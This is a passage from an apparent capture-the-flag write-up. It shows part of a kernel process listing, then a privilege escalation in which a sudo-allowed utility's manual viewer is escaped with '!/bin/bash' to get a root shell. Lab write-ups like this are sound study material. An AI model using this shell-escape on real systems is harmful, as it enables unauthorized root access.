    9 root       0 -20     0    0    0 S   0.0  0.0   0:00.00 khelper           
   10 root      20   0     0    0    0 S   0.0  0.0   0:00.00 kdevtmpfs         
   11 root       0 -20     0    0    0 S   0.0  0.0   0:00.00 netns             
   12 root      20   0     0    0    0 S   0.0  0.0   0:00.00 sync_supers       
   13 root      20   0     0    0    0 S   0.0  0.0   0:00.00 bdi-default       
   14 root       0 -20     0    0    0 S   0.0  0.0   0:00.00 kintegrityd       
   15 root       0 -20     0    0    0 S   0.0  0.0   0:00.00 kblockd           
   16 root       0 -20     0    0    0 S   0.0  0.0   0:00.00 ata_sff           
   17 root      20   0     0    0    0 S   0.0  0.0   0:00.00 khubd             
   18 root       0 -20     0    0    0 S   0.0  0.0   0:00.00 md       
  • Manual

Shows the manual page of a command

sudo /home/anansi/bin/anansi_util manual /bin/bash

The manual it shows seems to be the same as man, so if we type the following inside the manual, we become root

!/bin/bash

Machine solved